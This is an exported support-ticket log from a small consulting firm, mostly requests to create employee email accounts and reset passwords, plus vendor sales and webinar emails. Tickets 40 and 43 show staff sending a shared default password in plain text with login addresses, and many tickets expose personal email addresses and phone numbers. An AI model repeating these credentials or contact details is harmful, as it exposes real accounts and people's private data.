SOLUTION CONVERSATION : Hi, It seems Bibek BHurtel got not get and email from support to set up his LMC email. bibbhurtel@gmail.com On Thu, Aug 8, 2019 at 5:22 PM Rupal Shah <rupal@likemindsconsulting.com> wrote: > > Hello, > > Please create email id for Jebastin Packiaraj Ponnudurai. His email > address id pjebastin@gmail.com > > Also create email for Bibek Bhurtel bibbhurtel@gmail.com > -- > > > > > > [image: LikeMindsLogo.png] <http://likemindsconsulting.com/> > > ?innovation engineered? > > Regards, > > Rupal Shah > > HR Manager > > USA Tel No: +1 732-619-5526 > > > - > > New Jersey > > > - > > Amsterdam > > > - > > Chennai > > > - > > Singapore > > > > > CONFIDENTIALITY NOTICE: The contents of this email message and any > attachments are intended solely for the addressee(s) and may contain > confidential and/or privileged information and may be legally protected > from disclosure. If you are not the intended recipient of this message or > their agent, or if this message has been addressed to you in error, please > immediately alert the sender by reply email and then delete this message > and any attachments. If you are not the intended recipient, you are hereby > notified that any use, dissemination, copying, or storage of this message > or its attachments is strictly prohibited. > > -- [image: LikeMindsLogo.png] <http://likemindsconsulting.com/> ?innovation engineered? Regards, Rupal Shah HR Manager USA Tel No: +1 732-619-5526 - New Jersey - Amsterdam - Chennai - Singapore CONFIDENTIALITY NOTICE: The contents of this email message and any attachments are intended solely for the addressee(s) and may contain confidential and/or privileged information and may be legally protected from disclosure. If you are not the intended recipient of this message or their agent, or if this message has been addressed to you in error, please immediately alert the sender by reply email and then delete this message and any attachments. If you are not the intended recipient, you are hereby notified that any use, dissemination, copying, or storage of this message or its attachments is strictly prohibited.

TICKET DISPLAY ID : 32

SUBJECT : LikeMinds Consulting Inc: Uvaraj Jayakumar was deleted

PROBLEM DESCRIPTION : Hi, An agent, Uvaraj Jayakumar was deleted by Mahesh S in your account on August 12 at 2:42 AM CDT. Note that Uvaraj Jayakumar will still exist in your account as a contact. You currently have 4 full time agents and 0 occasional agents in your Freshdesk account. If this change was made without your authorization, send us a reply. Thanks, Freshdesk Customer Support You can configure this notification settings under Admin -> Security.

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 33

SUBJECT : LikeMinds Consulting Inc: Accounts LMS was deleted

PROBLEM DESCRIPTION : Hi, An agent, Accounts LMS was deleted by Mahesh S in your account on August 12 at 2:43 AM CDT. Note that Accounts LMS will still exist in your account as a contact. You currently have 3 full time agents and 0 occasional agents in your Freshdesk account. If this change was made without your authorization, send us a reply. Thanks, Freshdesk Customer Support You can configure this notification settings under Admin -> Security.

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 34

SUBJECT : Reg-EKT

PROBLEM DESCRIPTION : EKT -- Regards, Accounting, Like Minds Software India Private Limited  
143/6c, 2nd Floor, Eswaran Salai, Karapakkam, Chennai Tamilnadu, India  
www.likemindsconsulting.com "innovation engineered" CONFIDENTIALITY NOTICE: The contents of this email message and any attachments are intended solely for the addressee(s) and may contain confidential and/or privileged information and may be legally protected from disclosure. If you are not the intended recipient of this message or their agent, or if this message has been addressed to you in error, please immediately alert the sender by reply email and then delete this

message and any attachments. If you are not the intended recipient, you are hereby notified that any use, dissemination, copying, or storage of this message or its attachments is strictly prohibited.

SOLUTION CONVERSATION : Hi Accounts LMS, The status is pending.

TICKET DISPLAY ID : 35

SUBJECT : Re: Your Google Account password for Like Minds Consulting Inc has been reset by your administrator

PROBLEM DESCRIPTION : Hello, Could you please reset my password?  
reza@likemindsconsulting.com Thanks \*Reza Hussain\* Cell : +1(682)-803-5614 On Mon, Jul 29, 2019 at 10:28 AM The G Suite Team <gsuite-noreply@google.com> wrote: > [image: Google Cloud]  
> Your Google Account password has been reset > > Hello Reza, > > Your administrator has reset  
your Google Account password for Like Minds > Consulting Inc. > > Click \*Reset password\* below  
to set a new password. To keep your account > secure, follow these password guidelines >  
<<https://support.google.com/accounts/answer/7521867>>. > Reset password >  
<[https://accounts.google.com/RP?c=COad9f\\_Bu82hIAEQvJufv6S39Lcp&uc=ac&hl=en&continue=https://admin.google.com&fc=1](https://accounts.google.com/RP?c=COad9f_Bu82hIAEQvJufv6S39Lcp&uc=ac&hl=en&continue=https://admin.google.com&fc=1)> > > For your security, the reset password link expires after 48 hours.  
After > that, please contact your administrator >  
<[https://support.google.com/a/answer/6208960?utm\\_source=9032515&utm\\_medium=email](https://support.google.com/a/answer/6208960?utm_source=9032515&utm_medium=email)> > for  
your password. > > Regards, > > The Google Cloud Team > [image: Google Cloud] > > © 2019  
Google LLC 1600 Amphitheatre Parkway, Mountain View, CA 94043 > > \*You're receiving this  
mandatory email service announcement to update you > about important changes to your Google  
Cloud product or account.\* > >

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 36

SUBJECT : Email password reset

PROBLEM DESCRIPTION : I still have my password saved on my phone but not on pc. Once you send the link to MetaHorizon email, I can reset it. Thanks

SOLUTION CONVERSATION : I am in - Thank you guys ! [image: LikeMindsLogo.png]

<<http://likemindsconsulting.com/>> ?innovation engineered? \*Reza Hussain\* \*IDM Project Manager\*

\*USA Tel No: +1 -682-803-5614\* - New Jersey - Amsterdam - Chennai - Singapore

CONFIDENTIALITY NOTICE: The contents of this email message and any attachments are intended solely for the addressee(s) and may contain confidential and/or privileged information and may be legally protected from disclosure. If you are not the intended recipient of this message or their agent, or if this message has been addressed to you in error, please immediately alert the sender by reply email and then delete this message and any attachments. If you are not the intended recipient, you are hereby notified that any use, dissemination, copying, or storage of this message or its attachments is strictly prohibited. On Mon, Aug 12, 2019 at 10:53 AM Likeminds Support <support@likemindsconsulting.com> wrote: > Hi Reza, > > Your reset password link sent to reza.hussain@metahorizon.com mail id. > > Please confirm once you have reset it. > > > Thanks, > > LikeMinds Support. > > > Like Minds Consulting > 30,Knightsbridge Road, > Suite 525, Piscataway, NJ 08854 > > www.likemindsconsulting.com > > "innovation engineered" > > > On Mon, Aug 12, 2019 at 9:08 PM Reza Hussain <reza@likemindsconsulting.com> > wrote: > > > I still have my password saved on my phone but not on pc. >> >> Once you send the link to MetaHorizon email, I can reset it. >> >> Thanks >> >

TICKET DISPLAY ID : 37

SUBJECT : Another look at Auth0

PROBLEM DESCRIPTION : Hello, I wanted to drop you a note to see how you enjoyed your free trial of Auth0. While I realize it has been quite some time since it has lapsed, I was curious to see

what you liked or didn't like about the overall experience. Many of the folks I chat with are just kicking the tires, while others enjoy the anonymity of test-driving Auth0 prior to launching their own initiative. Regardless, I would love to be of service if I can. If you are up to it, feel free and let me know what type of use case you're working on (as well as if you are in the beginning, middle, or end of your project) and I can be an additional resource if you'd like. If not, no worries. Until next time. Thanks in advance. --- Oscar Garcia Sr. Account Development Representative 425-903-3570 \*Book a Meeting. <<https://auth0.chilipiper.com/book/me/oscar-garcia>>\* If you'd like me to stop sending you emails, please click here <[<https://auth0.oramalthea.com/api/mailings/unsubscribe/PMRGSZBCHIYTOOJWHE2DQLBCN5ZGOIR2EIYDGOBWGQ4TONJNGI4TSMJNGQ4DGZRNHE3TCNZNGZQTANBYHFQTIZBQG42CELB COZSXE43JN5XCEORCGQRCYITTNFTSEORCOJZWQ42RGFWVELKPKN2XK23FMY4WYU3SJFKDGVZNPBIEIWCTMUZDSS32IF3GU3JZGFJVSPJCPU=====](https://auth0.oramalthea.com/api/mailings/unsubscribe/PMRGSZBCHIYTOOJWHE2DQLBCN5ZGOIR2EIYDGOBWGQ4TONJNGI4TSMJNGQ4DGZRNHE3TCNZNGZQTANBYHFQTIZBQG42CELB COZSXE43JN5XCEORCGQRCYITTNFTSEORCOJZWQ42RGFWVELKPKN2XK23FMY4WYU3SJFKDGVZNPBIEIWCTMUZDSS32IF3GU3JZGFJVSPJCPU=====)>

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 38

SUBJECT : Please reset Rakesh Like Minds email password

PROBLEM DESCRIPTION : Support team, Can you please Rakesh's like minds email password and send a new one to him? Regards [image: LikeMindsLogo.png]

<<http://likemindsconsulting.com/>> ?innovation engineered? Ramnath Krishnamurthi Founder & C.E.O - New Jersey - Amsterdam - Chennai - Singapore \*Vacation Dates:\* Dec 23rd - Dec 31st

CONFIDENTIALITY NOTICE: The contents of this email message and any attachments are intended solely for the addressee(s) and may contain confidential and/or privileged information and may be legally protected from disclosure. If you are not the intended recipient of this message or their agent, or if this message has been addressed to you in error, please immediately alert the sender by reply email and then delete this message and any attachments. If you are not the intended recipient, you are hereby notified that any use, dissemination, copying, or storage of this



message or its attachments is strictly prohibited.

SOLUTION CONVERSATION : I need my password reset once more some thing wrong on my end seems like. Regards, Rakesh On Tue, Aug 13, 2019 at 10:30 PM Likeminds Support <support@likemindsconsulting.com> wrote: > Sir, > > > Rakesh's like minds email password reset and link sent to his mail id.For > your information please. > > > > Thanks, > > LikeMinds Support. > > > Like Minds Consulting > 30,Knightsbridge Road, > Suite 525, Piscataway, NJ 08854 > > www.likemindsconsulting.com > > "innovation engineered" > > > On Wed, Aug 14, 2019 at 7:28 AM Ramnath Krishnamurthi < > ramnath@likemindsconsulting.com> wrote: > > Support team, > > Can you please Rakesh's like minds email password and send a new one to > > him? > > > Regards > > > [image: LikeMindsLogo.png] <http://likemindsconsulting.com/> > > > ?innovation engineered? > > > Ramnath Krishnamurthi > > > Founder & C.E.O > > > > > > > - > > > New Jersey > > > > > > > Amsterdam > > > > > > > Chennai > > > > > > > Singapore > > > > > > > \*Vacation Dates.\* > > > Dec 23rd - Dec 31st > > > CONFIDENTIALITY NOTICE: The contents of this email message and any > > attachments are intended solely for the addressee(s) and may contain > > confidential and/or privileged information and may be legally protected > > from disclosure. If you are not the intended recipient of this message or > > their agent, or if this message has been addressed to you in error, please > > immediately alert the sender by reply email and then delete this message > > and any attachments. If you are not the intended recipient, you are hereby > > notified that any use, dissemination, copying, or storage of this message > > or its attachments is strictly prohibited. > > >

TICKET DISPLAY ID : 39

SUBJECT : new email id for Siddhant Thapa

PROBLEM DESCRIPTION : Hi, Please generate new email ID for Siddhant Thapa and send the details to siddhantthapa73@gmail.com -- [image: LikeMindsLogo.png]

<<http://likemindsconsulting.com/>> ?innovation engineered? Regards, Rupal Shah HR Manager USA  
Tel No: +1 732-619-5526 - New Jersey - Amsterdam - Chennai - Singapore CONFIDENTIALITY  
NOTICE: The contents of this email message and any attachments are intended solely for the  
addressee(s) and may contain confidential and/or privileged information and may be legally  
protected from disclosure. If you are not the intended recipient of this message or their agent, or if  
this message has been addressed to you in error, please immediately alert the sender by reply  
email and then delete this message and any attachments. If you are not the intended recipient, you  
are hereby notified that any use, dissemination, copying, or storage of this message or its  
attachments is strictly prohibited.

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 40

SUBJECT : create email ID

PROBLEM DESCRIPTION : Hi, Please create email id for Johnson Dahal cced in this email and  
send him activation details. Johnson, Please let me know once you are able to access Likeminds  
email. -- [image: LikeMindsLogo.png] <<http://likemindsconsulting.com/>> ?innovation engineered?  
Regards, Rupal Shah HR Manager USA Tel No: +1 732-619-5526 - New Jersey - Amsterdam -  
Chennai - Singapore CONFIDENTIALITY NOTICE: The contents of this email message and any  
attachments are intended solely for the addressee(s) and may contain confidential and/or privileged  
information and may be legally protected from disclosure. If you are not the intended recipient of this  
message or their agent, or if this message has been addressed to you in error, please immediately  
alert the sender by reply email and then delete this message and any attachments. If you are not the  
intended recipient, you are hereby notified that any use, dissemination, copying, or storage of this  
message or its attachments is strictly prohibited.

SOLUTION CONVERSATION : Hello, Please help him. ----- Forwarded message -----

Hi, Could you please send me instructions on how to access likeminds email. Thanks. Regards On  
Thu, Aug 15, 2019 at 8:12 PM Likeminds Support < support@likemindsconsulting.com> wrote: > Hi  
Rupal, > > I have reset mail password and link sent to johnsondahal277@gmail.com > mail id.  
Could you please check with Johnson Dahal and let us know > the status. > > Thanks, > > Thanks,  
> > LikeMinds Support. > > > Like Minds Consulting > 30,Knightsbridge Road, > Suite 525,  
Piscataway, NJ 08854 > > www.likemindsconsulting.com > > "innovation engineered" > > > On Fri,  
Aug 16, 2019 at 1:43 AM Rupal Shah <rupal@likemindsconsulting.com> > wrote: > >> >> Hello, >>  
>> Please help him. >> ----- Forwarded message ----- >>

Every time I try to reset the password I get the following error admin.google.com is for G Suite  
accounts only. Regular Gmail accounts cannot be used to sign in to admin.google.com. Learn more  
<<http://www.google.com/support/a/answer/6375836?hl=en>> On Sun, Aug 18, 2019 at 10:42 PM  
Mahesh Subramanian < mahesh@likemindsconsulting.com> wrote: > Hi Johnson, > > Please click  
the following reset link to your password and your personal > mail id to access your likeminds mail id  
.The link is active for 48 hrs. > Could you please check and let me know. > > Thanks, > -----  
Forwarded message ----- >

Thanks, it worked. On Sun, Aug 18, 2019 at 10:51 PM Mahesh Subramanian <  
mahesh@likemindsconsulting.com> wrote: > Hi Johnson, > > Could you please try the following  
password (Lmc@1234) and reset it in > your johnson@likemindsconsulting.com account. and let me  
know > > Thank you, > > > > [image: LikeMindsLogo.png] <<http://likemindsconsulting.com/>> > >  
>innovation engineered? > > Mahesh s > > Office Manager > > Tel No: +91 9940539923 > > > - > >  
New Jersey > > > - > > Amsterdam > > > - > > Chennai > > > - > > Singapore > >  
CONFIDENTIALITY NOTICE: The contents of this email message and any > attachments are  
intended solely for the addressee(s) and may contain > confidential and/or privileged information  
and may be legally protected > from disclosure. If you are not the intended recipient of this message

or > their agent, or if this message has been addressed to you in error, please > immediately alert the sender by reply email and then delete this message > and any attachments. If you are not the intended recipient, you are hereby > notified that any use, dissemination, copying, or storage of this message > or its attachments is strictly prohibited. > > > On Mon, Aug 19, 2019 at 9:13 AM johnson Dahal <johnsondahal277@gmail.com> > wrote: > >> Every time I try to reset the password I get the following error >> >> admin.google.com is for G Suite accounts only. Regular Gmail accounts >> cannot be used to sign in to admin.google.com. Learn more >> <<http://www.google.com/support/a/answer/6375836?hl=en>> >> >> On Sun, Aug 18, 2019 at 10:42 PM Mahesh Subramanian <> mahesh@likemindsconsulting.com> wrote: >> >>> Hi Johnson, >>> >>> Please click the following reset link to your password and your >>> personal mail id to access your likeminds mail id .The link is active for >>> 48 hrs. Could you please check and let me know. >>> >>> Thanks, >>> ----- Forwarded message ----- >>>

TICKET DISPLAY ID : 41

SUBJECT : Resources for IAM projects

PROBLEM DESCRIPTION : Since it's been a while since you last wrapped up your Auth0 trial, I took the liberty of attaching a few documents that I thought might interest you: Forrester Consulting <<https://auth0.com/forrester-total-economic-impact>> wrote an interesting piece assessing Auth0's value in relation to the benefits, costs, and risks associated with identity and access management initiatives. KuppingCole

<[https://assets.ctfassets.net/2ntc334xpx65/4Kf7CpNoy4iQoMogIM8kq8/19a2e56f1d8f1b7fedfe8cf8f73e4b07/79059\\_Leadership\\_Compass\\_CIAM\\_2018.pdf](https://assets.ctfassets.net/2ntc334xpx65/4Kf7CpNoy4iQoMogIM8kq8/19a2e56f1d8f1b7fedfe8cf8f73e4b07/79059_Leadership_Compass_CIAM_2018.pdf)> wrote a substantive piece revealing Auth0's leadership in the current CIAM space. Techweek <<https://techweek.com/auth0-idaas-seattle-startup/>> wrote about the increased need for identity management for the digital ecosystem. Enterprise Security

<<https://enterprise-security-startups.enterprisesecuritymag.com/cxoinsight/identity-and-access-management-leave-it-to-the-experts-nid-476-cid-54.html>> wrote about the critical advantages of leaving identity management to the experts. I'm here if you'd like to explore how we might be of service - anytime. --- Oscar Garcia Sr. Account Development Representative 425-903-3570 \*Book a Meeting. <<https://auth0.chilipiper.com/book/me/oscar-garcia>>\* If you'd like me to stop sending you emails, please click here

<<https://auth0.oramalthea.com/api/mailings/unsubscribe/PMRGSZBCHIYTOOJYGEZTMLBCN5ZGOIR2EIYDGOBWGQ4TONJNGI4TSMJNGQ4DGZRNHE3TCNZNGZQTANBYHFQTIZBQG42CELB COZSXE43JN5XCEORCGQRCYITTNFTSEORCHBYTCWTBJU2FCZCULF2E6QTLL4YGMOKYKBCEKUSMMFPXU22IG54TAMRXMQWXUQLWPB4TQPJCPU=====>>

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 42

SUBJECT : New Webinar - Simplify Continuous Integration and Delivery Pipelines with New Tools

PROBLEM DESCRIPTION : Live Webinar Simplify Continuous Integration and Delivery Pipelines with New Tools September 5 | 10:00 am PDT Continuous Integration and Continuous Development (CI/CD) practices are a great way to increase development team efficiency and improve the quality of your releases. This webinar covers the creation of deployment pipelines from any org through to production. Join us to see live demos of new CLI commands, explore VS Code enhancements, and learn how to use new tools from GitLab with Salesforce DX. Register Now <http://click.mail.salesforce.com/?qs=8b92aff8245ce47e6b8e591b0c0d901e1869180917b3c39748b9bcbf607b3cae2ad6843fcc14aa3296825d943ae7901b36f8bacbb3e6e4c5> Claire Bianchi Senior Product Manager, Salesforce Doug Ayers Lead Trailhead Content Developer, Salesforce In this exclusive webinar you'll: - Expand your use of the Salesforce CLI from scratch orgs to any org - Optimize CI/CD best practices for the Salesforce Platform - Automate testing for package and org-based development Can't make it to the live event? Register to receive the recording. Register

Now

<http://click.mail.salesforce.com/?qs=8b92aff8245ce47e6b8e591b0c0d901e1869180917b3c39748b9bcbf607b3cae2ad6843fcc14aa3296825d943ae7901b36f8bacbb3e6e4c5> (C) 2019 salesforce.com, inc. All rights reserved.

<http://click.mail.salesforce.com/?qs=8b92aff8245ce47e8bca5c825fc2ad989227bf41e0148d90508d05462a18064f8edf550aa7b1216fee2f8f976ec5bd4c23ad43db740afe1> 415 Mission Street, 3rd Floor San Francisco, CA 94105, United States General Enquiries: 415-901-7000 | Fax: 415-901-7040 | Sales: 1-800-NO-SOFTWARE This email was sent to support@likemindsconsulting.com View in Browser

<http://view.mail.salesforce.com/?qs=6d5943a74c35dc9878dab3c671914b30ac1ae41ed240387dafbe6982a928fa1e9d579b3b5256f953bc553152ae3dd9dc1d268d01e16c4f1918b8a3e653cb8042e2f259f2bb8dd06f7506f73b8c27d735> Manage Preferences to Unsubscribe

[http://click.mail.salesforce.com/unsub\\_center.aspx?qs=d8196e4e3eb2678ddac1fd065c5505a9649d0ddbf325f9a4bd6807f1d6543930ade95e31c9c4d75e8f7e99cedcd423b324f0c22f4a1010d6e7a1a56eb80c49162c21c9683d19c6cc](http://click.mail.salesforce.com/unsub_center.aspx?qs=d8196e4e3eb2678ddac1fd065c5505a9649d0ddbf325f9a4bd6807f1d6543930ade95e31c9c4d75e8f7e99cedcd423b324f0c22f4a1010d6e7a1a56eb80c49162c21c9683d19c6cc) Privacy Statement

<http://click.mail.salesforce.com/?qs=8b92aff8245ce47eaf3d2fe373dfb0d008a3bc940684ee612e6191d17d43dd4abe346c2d0229ffcd5158a664de1b098684eebc230d60043b>

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 43

SUBJECT : Create Like Minds email id for Sunil Kolluru

PROBLEM DESCRIPTION : Team Please create Like Minds email id for Sunil Kolluru who is copied on this email. Please send the sign in instructions to him. Copy Rupal as well. Regards [image: LikeMindsLogo.png] <<http://likemindsconsulting.com/>> ?innovation engineered? Ramnath Krishnamurthi Founder & C.E.O - New Jersey - Amsterdam - Chennai - Singapore \*Vacation Dates:\*

Dec 23rd - Dec 31st CONFIDENTIALITY NOTICE: The contents of this email message and any

attachments are intended solely for the addressee(s) and may contain confidential and/or privileged information and may be legally protected from disclosure. If you are not the intended recipient of this message or their agent, or if this message has been addressed to you in error, please immediately alert the sender by reply email and then delete this message and any attachments. If you are not the intended recipient, you are hereby notified that any use, dissemination, copying, or storage of this message or its attachments is strictly prohibited.

SOLUTION CONVERSATION : Hi Ramnath Krishnamurthi, Email id created for Sunil Kolluru and details sent to his personal email id -sunil.kolluru@gmail.com . Thanks,

Fyi, Haven't received an email with email account details. Checked my spam folder as well. On Sunday, August 18, 2019, LikeMinds Consulting Inc < support@likemindsconsulting.com> wrote: > Hi Ramnath Krishnamurthi, > > Email id created for Sunil Kolluru and details sent to his personal > email id -sunil.kolluru@gmail.com . > > Thanks, > > On Sun, 18 Aug at 9:54 AM , Ramnath Krishnamurthi < > ramnath@likemindsconsulting.com> wrote: > Team > Please create Like Minds email id for Sunil Kolluru who is copied on this > email. > Please send the sign in instructions to him. > Copy Rupal as well. > > > Regards > > [image: LikeMindsLogo.png] <http://likemindsconsulting.com/> > ?innovation engineered? > Ramnath Krishnamurthi > Founder & C.E.O > > > > - New Jersey > > - Amsterdam > - Chennai > - Singapore > > > \*Vacation Dates:\* > > Dec 23rd - Dec 31st > > CONFIDENTIALITY NOTICE: The contents of this email message and any > attachments are intended solely for the addressee(s) and may contain > confidential and/or privileged information and may be legally protected > from disclosure. If you are not the intended recipient of this message or > their agent, or if this message has been addressed to you in error, please > immediately alert the sender by reply email and then delete this message > and any attachments. If you are not the intended recipient, you are hereby > notified that any use, dissemination, copying, or storage of this message > or its attachments is strictly prohibited. > > 43:1182331 > -- -- Kumar \_\_\_\_\_ Sunil Kumar

Kolluru Mobile: +1-609-980-7316

I was able to get in and reset my password. Thanks!! On Sunday, August 18, 2019, Likeminds Support < support@likemindsconsulting.com> wrote: > Hi Sunil, > > Could you please login into your likeminds email using the following > credentials and reset it once you logged in and let me know the status > please. > > sunil@likemindsconsulting.com > password-Lmc@1234 > > Please reset once you have logged in and let me know. > > Thanks, > > Thanks, > > LikeMinds Support. > > > Like Minds Consulting > 30,Knightsbridge Road, > <<https://www.google.com/maps/search/30,Knightsbridge+Road,+Suite+525,%C2%A0Piscataway,+NJ+08854?entry=gmail&source=g>> > Suite 525, > <<https://www.google.com/maps/search/30,Knightsbridge+Road,+Suite+525,%C2%A0Piscataway,+NJ+08854?entry=gmail&source=g>>Piscataway, > NJ 08854 > <<https://www.google.com/maps/search/30,Knightsbridge+Road,+Suite+525,%C2%A0Piscataway,+NJ+08854?entry=gmail&source=g>> > > www.likemindsconsulting.com > > "innovation engineered" > > > On Sun, Aug 18, 2019 at 11:29 PM Sunil Kolluru <sunil.kolluru@gmail.com> > wrote: > > > Fyi, > > Haven't received an email with email account details. > > Checked my spam folder as well. > > > On Sunday, August 18, 2019, LikeMinds Consulting Inc < > support@likemindsconsulting.com> wrote: > > > Hi Ramnath Krishnamurthi, > > > Email id created for Sunil Kolluru and details sent to his personal > > email id -sunil.kolluru@gmail.com . > > > Thanks, > > > On Sun, 18 Aug at 9:54 AM , Ramnath Krishnamurthi < > ramnath@likemindsconsulting.com> wrote: > > > Team > > > Please create Like Minds email id for Sunil Kolluru who is copied on > > > this email. > > > Please send the sign in instructions to him. > > > Copy Rupal as well. > > > > > > > Regards > > > > [image: LikeMindsLogo.png] <<http://likemindsconsulting.com/>> > > ?innovation engineered? > > > Ramnath Krishnamurthi > > > Founder & C.E.O > > > > > > > - New Jersey > > > > > - Amsterdam > > > > > > > - Chennai > > > > > > > - Singapore > > > > > > > \*Vacation Dates:\* > > > > > Dec 23rd - Dec 31st > > > > > CONFIDENTIALITY NOTICE: The contents of this email



message and any >>> attachments are intended solely for the addressee(s) and may contain >>> confidential and/or privileged information and may be legally protected >>> from disclosure. If you are not the intended recipient of this message or >>> their agent, or if this message has been addressed to you in error, please >>> immediately alert the sender by reply email and then delete this message >>> and any attachments. If you are not the intended recipient, you are hereby >>> notified that any use, dissemination, copying, or storage of this message >>> or its attachments is strictly prohibited. >>> >>> 43:1182331 >>> >> >> >> -- >> -- Kumar >> >>

\_\_\_\_ >> Sunil Kumar Kolluru >> >> Mobile:  
+1-609-980-7316 >> >> >> >> >> -- -- Kumar \_\_\_\_\_

Sunil Kumar Kolluru Mobile: +1-609-980-7316

TICKET DISPLAY ID : 44

SUBJECT : Re: Reg- password reset screenshot for your reference.

PROBLEM DESCRIPTION : Support, This url was invalid. Could you please reset again? On Sunday, August 18, 2019, Likeminds Support < support@likemindsconsulting.com> wrote: > Hi Sunil, > > Please find the attached screenshot of password reset link. Could you > please confirm whether you are able to logged in your likeminds email id. > > Thanks, > -- -- Kumar

\_\_\_\_ Sunil Kumar Kolluru Mobile:  
+1-609-980-7316

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 45

SUBJECT : Your meeting attendees are waiting!

PROBLEM DESCRIPTION : Hi there, Please click this URL to start your RingCentral meeting: PingDirectory - Hesaa Discussion, <https://meetings.ringcentral.com/j/1492568751> as your participant

svala is waiting.

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 46

SUBJECT : You are in good company

PROBLEM DESCRIPTION : Dow Jones, Atlassian, and Harvard Medical (to name a few Auth0 customers) have all been in your shoes. They wrapped up their Auth0 trial, then the pros and cons discussion crept in as to ?Build vs. Buy.? Adding IAM services to any platform has historically been a painful process, with long implementations and complex integrations. If your work or projects have you looking at identity solutions again, I would love to be able to clarify how Auth0 takes the complexity out of the equation with its developer-centric Identity Platform, which is extensible, secure, and quick to integrate. If you think it makes sense to connect for a few minutes, just let me know. Have a great day. --- Oscar Garcia Sr. Account Development Representative 425-903-3570

\*Book a Meeting. <<https://auth0.chilipiper.com/book/me/oscar-garcia>>\* If you'd like me to stop sending you emails, please click here

<<https://auth0.oramalthea.com/api/mailings/unsubscribe/PMRGSZBCHIYTQMZXGM2DMLBCN5ZGOIR2EIYDGOBWGQ4TONJNGI4TSMJNGQ4DGZRNHE3TCNZNGZQTANBYHFQTIZBQG42CELB COZSXE43JN5XCEORCGQRCYITTNFTSEORCO5YEW6TUMRIWUTSWJVWUIMTPJFKHEZLCN BIEKWCOFUZXU2DNKYZDMLZKV3GENKFN52GOPJCPU=====>>

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 47

SUBJECT : Your Meeting - Discuss open points on ENBD - EIK release 0.2 Is Cancelled

PROBLEM DESCRIPTION : Hi Like Minds Technical Support, You have successfully cancelled the below meeting. Meeting ID: 149 853 6795 Topic: Discuss open points on ENBD - EIK release 0.2 Time: Aug 23, 2019 2:00 PM Mumbai, Kolkata, New Delhi Thank you for choosing RingCentral. -The

RingCentral Team

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 48

SUBJECT : Your meeting attendees are waiting!

PROBLEM DESCRIPTION : Hi there, Please click this URL to start your RingCentral meeting:  
Discuss open points on ENBD - EIK release 0.2, <https://meetings.ringcentral.com/j/1485407608> as  
your participants are waiting.

SOLUTION CONVERSATION :

TICKET DISPLAY ID : 49

SUBJECT : [Webinar Invitation] How to create a data-driven approach to your support

PROBLEM DESCRIPTION : Hi there, Deriving insights from data can be tricky in customer support. Metrics such as CSAT, NPS, Customer Effort Scores (CES) and so on help teams understand the pulse of customers. But reporting in customer support is not all about that. It's about how you spot the fine line between doing the job and doing it well. After all, looking at numbers that are skewed can lead to a wrong strategy. To help solve this problem, we're hosting a webinar next week on how to have a data-driven approach to exceptional customer support. Join us for a lively conversation with Mary Poppen, Chief Customer Officer at Glint Inc. (Acquired by LinkedIn). She will share her thoughts on how to track trends, spot bottlenecks and take proactive measures to up your support game. Here are the details: Date: Thursday, Aug 29, 2019 Time: 11.00 am, PST  
Registration link:

[http://fmtrack1.freshdesk.com/wf/click?upn=mA0eVPg2Frsik89IOMGh8kJAXC2WJ33a4GIRPAnm8CB2odMxL-2BPuDnlmEinMxoChUxDj6-2F5j9J7-2F7n4IRfNlxHk8M86d3C-2B9UIJYF4ZXwGUJwG OUPDoRVsC8ayLdlE4\\_r3XecG9Oeir8G6iSrKDq5ObHRE3Y-2F0ILr4kWYqIYGWCrOFDVIFIOXS-2B3mz08mGWBOx17akDe06-2BTXIfO8K-2F5t0UlfisibkBBVdiaGvwyQbA3KQXe43oeEJqIWRIFSgdl](http://fmtrack1.freshdesk.com/wf/click?upn=mA0eVPg2Frsik89IOMGh8kJAXC2WJ33a4GIRPAnm8CB2odMxL-2BPuDnlmEinMxoChUxDj6-2F5j9J7-2F7n4IRfNlxHk8M86d3C-2B9UIJYF4ZXwGUJwG OUPDoRVsC8ayLdlE4_r3XecG9Oeir8G6iSrKDq5ObHRE3Y-2F0ILr4kWYqIYGWCrOFDVIFIOXS-2B3mz08mGWBOx17akDe06-2BTXIfO8K-2F5t0UlfisibkBBVdiaGvwyQbA3KQXe43oeEJqIWRIFSgdl)

HjROjYP3ahgL6L-2BRbAWiVDEFWVcihDZylCCXm9lYcrZ If you have any thoughts on what you'd like to learn from the webinar, just hit reply to let us know. P.S. If you can't make it to the webinar, register and we'll send you a recording. Bonus: We will also send you a benchmark report that has everything you need to scale your customer support strategy. See you at the webinar! Team Freshdesk

Message sent by Freshworks Inc. at 2950 S. Delaware Street, Suite 201, San Mateo, CA, United States of America. Unsubscribe from all emails Powered by Freshmarketer

**SOLUTION CONVERSATION :**

TICKET DISPLAY ID : 50

**SUBJECT : One more try**

PROBLEM DESCRIPTION : It looks like our timing might be off. I hope I didn't tilt too far to the side of being annoying versus professionally persistent. If you'd like to open up a discussion regarding your new or revisited single sign-on initiatives, I'd be pleased to have that conversation this week or next. If not, stay well, and I'll check back in down the road. --- Oscar Garcia Sr. Account Development Representative 425-903-3570 \*Book a Meeting.

<<https://auth0.chilipiper.com/book/me/oscar-garcia>>\* If you'd like me to stop sending you emails, please [click here](#)

<[https://auth0.oramalthea.com/api/mailings/unsubscribe/PMRGSZBCHIYTQNJVGUZDCLBCN5ZGOIR2EIYDGOBWGQ4TONJNGI4TSMJNGQ4DGZRNHE3TCNZNGZQTANBYHFQTIZBQG42CELB  
COZSXE43JN5XCEORCGQRCYITTNFTSEORCGNKFGL2KR2VONZNPB3EUVKRI5GW4VL2LB  
TWSMC7OZHGGQZKGOJUGKRLHNZWEGJLVNBFU2PJCPU=====](https://auth0.oramalthea.com/api/mailings/unsubscribe/PMRGSZBCHIYTQNJVGUZDCLBCN5ZGOIR2EIYDGOBWGQ4TONJNGI4TSMJNGQ4DGZRNHE3TCNZNGZQTANBYHFQTIZBQG42CELB<br/>COZSXE43JN5XCEORCGQRCYITTNFTSEORCGNKFGL2KR2VONZNPB3EUVKRI5GW4VL2LB<br/>TWSMC7OZHGGQZKGOJUGKRLHNZWEGJLVNBFU2PJCPU=====)>

SOLUTION CONVERSATION :

